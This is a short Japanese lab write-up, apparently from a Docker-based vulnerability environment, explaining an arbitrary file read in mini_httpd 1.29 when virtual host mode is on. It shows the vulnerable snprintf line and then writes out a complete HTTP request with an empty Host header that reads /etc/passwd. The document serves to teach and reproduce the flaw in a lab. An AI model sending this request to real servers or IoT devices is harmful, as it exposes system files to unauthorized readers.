
Mini_httpdは小型のHTTPサーバーであり、システムリソースの消費が少ない状態でも一定の性能(Apacheの約90%)を維持できるため、さまざまなIoT機器(ルーター、スイッチ、カメラなど)の組み込みサーバーとして広く使用されています。また、ファーウェイ、Zyxel、海康威視(Hikvision)、ラズベリーパイなどのベンダーのデバイスでもMini_httpdコンポーネントが採用されていました。
mini_httpdでバーチャルホストモードが有効になっている場合、ユーザーがhttp://HOST/FILEをリクエストすると、カレントディレクトリ内のHOST/FILEファイルにアクセスします。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
上記のコードの分析は以下のとおりです:
example.com、FILE=index.htmlの場合、上記のステートメントの結果はexample.com/index.htmlとなり、ファイルは正常に読み込まれます。etc/passwdの場合、上記のステートメントの結果は/etc/passwdとなります。後者は絶対パスとして扱われるため、/etc/passwdが読み取られ、任意ファイル読み取りの脆弱性が発生します。
以下のコマンドを実行して、mini_httpd 1.29を起動します:
docker-compose up -d
環境起動後、http://your-ip:8080にアクセスすると、Webページが表示されます。
リクエスト送信時にはHostを空にし、PATHの値にはファイルの絶対パスを指定します:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
ファイルの読み取りに成功:
